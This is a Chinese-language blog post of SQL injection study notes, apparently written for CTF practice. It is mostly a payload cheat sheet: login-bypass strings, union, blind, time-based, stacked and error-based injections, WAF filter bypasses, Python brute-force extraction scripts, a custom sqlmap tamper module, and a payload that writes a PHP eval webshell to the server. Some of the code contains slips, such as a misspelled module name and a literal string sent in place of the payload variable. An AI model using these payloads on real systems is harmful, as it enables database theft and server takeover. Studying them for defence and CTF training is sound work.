首页 > 数据库 >sql注入

sql注入

时间:2023-01-14 18:22:46浏览次数:34  
标签:database union xx concat sql id select 注入

LIMIT

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。

SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: 
SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目: 
SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n

UNION

UNION 联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容。(这里注意:联合查询时,输出的列数需要一致才能成功)

用法:语句1 union all 语句2,只要将语句1的返回false就可以只显示语句2的内容

MID

MID 函数为截取字符串一部分。MID(column_name, start[, length])

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
例:str=“123456” mid(str,2,1) 结果为2
Sql用例:

mid(DATABASE(),1,1)>’a’,查看数据库名第一位,mid(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
mid((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

SUBSTR

SUBSTR 和SUBSTRING 实现的功能是一样的,均为截取字符串。SUBSTR(string, start[, length]),参数描述同MID函数。

Sql用例:

substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

LEFT

LEFT得到字符串左部指定个数的字符。Left ( string, n ) ,string为要截取的字符串,n为长度。

Sql用例:

left(database(),1)>’a’,查看数据库名第一位, left(database(),2)>’ab’,查看数据库名前二位。

ORDER BY

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。

ORDER BY 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,您可以使用 DESC 关键字。

实例

1

3

48

还可以指定字段的栏位进行排序

SELECT * FROM Websites ORDER BY 1;	//对第一列(即id)进行排序,超过列数会报错,可以用此判断列数。

LOCATE

LOCATE 返回第一次出现在字符串str的子串substr的位置(,从位置pos开始)。 substr不在str中,则返回0。LOCATE(substr, str[, pos])

LOCATE('bar', 'foobarbar')  //4

ORD / ASCII

ORD/ASCII 返回第一个字符的ASCII码,常与上面函数组合使用。

Sql用例:

SELECT ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也就是‘r’
SELECT ASCII(MID(DATABASE(),1,1))>114

HEX

HEX 返回所有字符的十六进制数值,常与上面函数组合使用。

BINARY

BINARY 将紧随其后的 string 转换为 二进制字符串。主要用来强制进行按字节进行比较(byte by byte)。这使得字符串比较是区分大小写的。BINARY 也对字符串末尾的空格敏感。(sql默认是不区分大小写的)

202203102200671

binary'a' = 'a'
binary'A' != 'a'

IF

if(exp1,exp2,exp3) 如果满足exp1,那么执行exp2,否则执行exp3

HANDLER

让我们一行一行浏览一个表的数据(mysql的专用语句,其他sql语言无)

用法举例:

handler users open as hd;	#载入指定的数据表“users”并返回句柄“hd”
handler hd read first;	#读取数据表首行
handler hd read next;	#读取下一行
handler hd close;	#关闭句柄

可以与堆叠注入结合使用


正常查询语句如下
mysql_query(" select username,age from userinfo where id='$_GET['id']' ");

万能密码

' or '1'='1       //完整语句 select username,age from userinfo where id='' or '1'='1'
' or 1=1#         //完整语句 select username,age from userinfo where id='' or 1=1#'
'=0#            //完整语句 select username,age from userinfo where id=''=0#

使用union进行联合查询

xx' union select 1,(select database()) #
xx' union select (select database()),2 or '      //这里如果把查询语句放到2的位置上,因为or的关系会不能显示正常查询的内容
如果登录页面的验证逻辑是如下形式
$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
  echo "登录成功";
}
else{
  echo "登录失败";
}
可通过下来方法构造来绕过用户名和密码
账户:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' #      //c81e728d9d4c2f636f067f89cc14862c是2的md5值
密码:2

?username=1'union select 1,'admin',md5(x)#&password=x#
//会让mysql建立一个id=1,username=admin,password=md5(x)的表,此时password传参x即可绕过
?username=1'union select 1,'admin',NULL#&password[]=111
//同理

202203111802622

联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

当我随意填入一个username,所查询结果为空

202203111804603

若结合union select语句,其后面所输入的值会分别赋给username和password两个变量,若知道字段中username和password的位置,就能依此实现注入

202203111806081

使用bool回显判断注入 + bypass

注入语句:

xx' or if((substr((select database()),1,1)='f'),1,0) #    //判断数据库第一个字符是否为c

那么查询第二个字符可以用下列方法

xx' or if((substr((select database()),2,1)='fl'),1,0) #
或
xx' or if((substr((select database()),1,2)='f'),1,0) #
· 关键字过滤:
  • order by被过滤

可以使用group by替换

  • 注释符(--+#)被过滤

尝试构造闭合

?payload=1' order by 4,'		->完整sql语句
SELECT * FROM `users` where name = 'user' order BY 4,'';	# ,'是利用order by函数来闭合后面引号,group by同理

?payload='union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,'4 
->完整sql语句
SELECT * FROM `users` where name = ''union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,'4';
  • , (逗号)被过滤了,可以用如下方式处理

if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end

substr(exp1, 1, 1) => substr(exp1) from 1 for 1

xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #
  • substr被过滤了,可以用如下方式处理
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #

ps:因为mysql对大小写不敏感,所以写的时候用 locate(binary'S', str, 1) 加个binary即可

  • and 和 or 被过滤了
and   => &&
or    => ||
  • where被过滤
where id='1'   =>  order by id having id='1' 
  • = 被过滤
'='    =>  '<>'
或者用like
  • '<','>','='被过滤,但是要设置范围
id = 1   ==> id between 1 and 1
  • 空格被过滤

有两种办法,通过括号或者/**/来完成不需要空格也能执行的方法

xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵
  • 单引号的过滤

虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入

这时候可以hex编码

'内容' 等价于 0x内容的十六进制编码

'abc'   = 0x616263
  • substring与mid被过滤
可以用right与left来绕过

  • 双写绕过清空

有些waf是用preg_match将非法字符替换为空,比如

$sql = preg_match("/union|select/i", "", $sql)

在有/xx/i忽视大小写可以双写=>seselectlect

  • url和base64编码

在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果

  • 内敛注释

在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件

/*!union*/    #其中的union是会执行的
· 特别的sprintf

有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)

利用方法,用 %1$' 代替 '

'  ==> %1$'
%1$'or 1=1 #
· 关于json的编码

之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库

关键点在于在经过waf后,它会进行json的解码。

在json解码中有个Unicode的编码问题,有兴趣可以百度下,我这里直接写利用方法

json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过

'\u0075'  ==>  'u'

使用延迟注入

在输入无论正确的sql语句还是错误的sql语句页面都一样的情况下可以使用该方法进行判断是否成功

延时注入的本质是执行成功后延时几秒后再回显,反之不会延时直接回显

还是利用if来判断结果正确与否,只是返回值用延时来代替1

方法:sleep,benchmark, 笛卡尔积等

基于sleep的延迟 
xx' or if(length((select database()))>1,sleep(5),1) #

基于笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) # 

基于benchmark的延迟 //benchmark和笛卡尔积的原理实质上是运算时间过长导致的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间

SQL注入的技巧

hex编码与字符串

字符串在某种意义上是和它的hex值等价的,举个栗子

select * from admin where id = '1'    <===>  select * from admin where id = 0x31

能够被hex编码的内容必须是字符串,即'(被单引号括起来)'的内容。关键字是不能被编码的

利用group_concat连接多行
xx' union select 1,2,(select group_concat(name,id) from admin) #
利用like和regexp来进行匹配

like后面能进行模糊匹配,关键字内容为

% => 匹配任意个字符串

_  => 匹配一个字符

但是存在前提,被匹配的字符可以是select查询语句,可以是该表内的字段,可以是返回为字符串的函数比如database()

xx' or database() like 'c%' #
xx' or database() like 'ct_' #xx' or name like 'siji%' #xx' or (select dd from uesrinfo) like 'h%' #

在某种程度上regexp和like的效果差不多,但是它是支持正则表达式

xx' or database() like '^c.f$' #

但是这样不方便,测试一下后发现可以用这个方法逐个匹配

xx' or name regexp '^s$*'

xx' or name regexp '^si$*'

数字型注入

?id=-1 union/**/select 1,2,3,4#

?id=-1 union/**/select 1,database(),3,4#

?id=-1 union/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()#
?id=-1 union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"),3,4#

?id=-1 union/**/select 1,group_concat(column_name),3,4 from 
information_schema.columns where table_schema=database() and table_name='users'#

?id=-1 union/**/select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from users#

?id=-1 union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4#
# 1 2 3分别代表第一、二、三列数据,如果反引号被过滤可以使用as:
?id=-1 union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4#
# 想查看第二列就group_concat(a),查看第三列就group_concat(b)
# x为别名,可以为任意值,但是必须存在一个别名否则报错
title=1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=mochu7&ac=add

二次注入

恶意数据经过一些转义函数(get_magic_quotes_gpc)的处理之后不会触发sql注入,然后插入到数据库中,再次调用的时候因为默认数据库里面的数据都是安全的,所以不会再进行检测,直接进行使用,导致二次注入

暂时没完全搞懂

布尔盲注python脚本

import requests

url = "xxxx"
flag = ""
s = reuqests.session()      #获取会话
for i in range(100):       #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
  for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.":    #这个是可能的字符,一个个试呗
    payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #"       #手工测出来有效的payload,当然实际情况会根据waf变个型
    data = {
      'username':'payload',	#最好在此处直接写,引用变量可能会出错
      'password':'123'
    }
    s.post(url,data=data)  #发送数据
    if "right" in s.text :  #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
      flag += str(j)
      print flag
      break

我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本

在sqlmap文件夹下的/tamper/下,自己创建个py文件

#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace("'","%1$'")      #将什么替换成什么
    payload = payload.replace("u","\u0075")      #将什么替换成什么,可以写很多个
    return payload

在sqlmap使用的时候调用这个模块,即可使用自定义过程

sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'

将结果写入文件达到getshell

写入文件的前提是outfile这个关键字没有被禁止,并且知道web站点的绝对路径

使用方法是

xx' union select 1,2,'<?php eval($_POST[1]) ?>' into outfile '/var/www/html/sijidou.php' #

异或注入

背景:当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入

异或运算规则:
相同为0,不同为1
1^1^1=1 1^1^0=0
构造payload:

^ascii(mid(database(),1,1)=98)^0
xx'^ascii(mid(database(),1,1)=98)^'

注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的

脚本

import requests
import time

myurl = 'http://0f4b65c0-9dc2-4960-af43-9c08c995b8dd.node4.buuoj.cn:81/'
flag = ''
for pos in range(500):
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
    	# payload = 'search.php?id=0^(ord(substr(database(),{},1))>{})'.format(pos, mid_num)
    	# payload = 'search.php?id=0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})'.format(pos, mid_num)
    	# payload = "search.php?id=0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(pos, mid_num)
    	payload = "search.php?id=0^(ord(substr((select(group_concat(password))from(geek.F1naI1y)),{},1))>{})".format(pos, mid_num)
    	attack_url = myurl + payload
    	resp = requests.get(url=attack_url)
    	time.sleep(0.5)
    	if 'NO! Not this! Click others' in resp.text:
    		min_num = mid_num + 1
    	else:
    		max_num = mid_num
    	mid_num = ((min_num + max_num) // 2)
    flag += chr(min_num)
    print(flag)

堆叠注入

顾名思义,就是将语句堆叠在一起进行查询
原理:ysql_multi_query() 支持多条sql语句同时执行,用;分隔成堆的执行sql语句,例如

select * from users;show databases; #

相关查询语句

1';show databases;

1';show tables;

1';show columns from `FlagHere`;  
or  
1';desc FlagHere; 

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
or
1';handler FlagHere open as aaa;handler aaa read next;
or
1';handler FlagHere open;handler FlagHere read next;

报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

前提:页面上可以没有显示位,但是必须有SQL语句执行错误的信息


显示位:

我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。

举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。


构造报错注入的基本步骤:

  1. 构造目标查询语句;
  2. 选择报错注入函数;
  3. 构造报错注入语句;
  4. 拼接报错注入语句;

常见的报错注入函数

  1. floor();

    ?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+
    //获取当前数据库库名
    
  2. extractvalue(); *

    ?id=1'and extractvalue(1,concat(1,(select database())))--+ 
    or 
    ?id=1' and extractvalue(1,concat(0x7e,database()))#		//0x7e可以在mysql里被解读为符号"~",也可以直接用"~")
    //获取当前数据库库名 
    
    ?id=1'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+ //获取所有的数据库库名
    
    /*由于extractvalue()函数一次性最大只返回32位,所以接下来可以使用substr()函数输入所有的数据*/
    ?id=1' and extractvalue(1,concat(1,(select substr((select group_concat(schema_name) from information_schema.schemata),1,20)))) --+
    //使用substr()函数截取所有的数据
    
  3. updatexml(); *

    ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    or
    ?id=1'updatexml(1, concat(0x7e,database(),0x7e),1)
    //获取当前数据库库名 
    
    ?id=1'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+//获取所有的数据库库名
    /*截取所有数据用法同上*/
    
    ?id=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# //查表名
    
    ?id=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# //查列名
    ?id=admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))# //查数据
    
  4. geometrycollection();

  5. multipoint();

  6. polygon();

  7. multipolygon();

  8. linestring();

  9. multilinestring();

  10. exp();

sqlmap

python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -current-db

python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" –tables

python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" -T "auth" –columns

python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" -T "auth" -C id,username,password –dump

标签:database,union,xx,concat,sql,id,select,注入
From: https://www.cnblogs.com/s1mh0/p/17052322.html

相关文章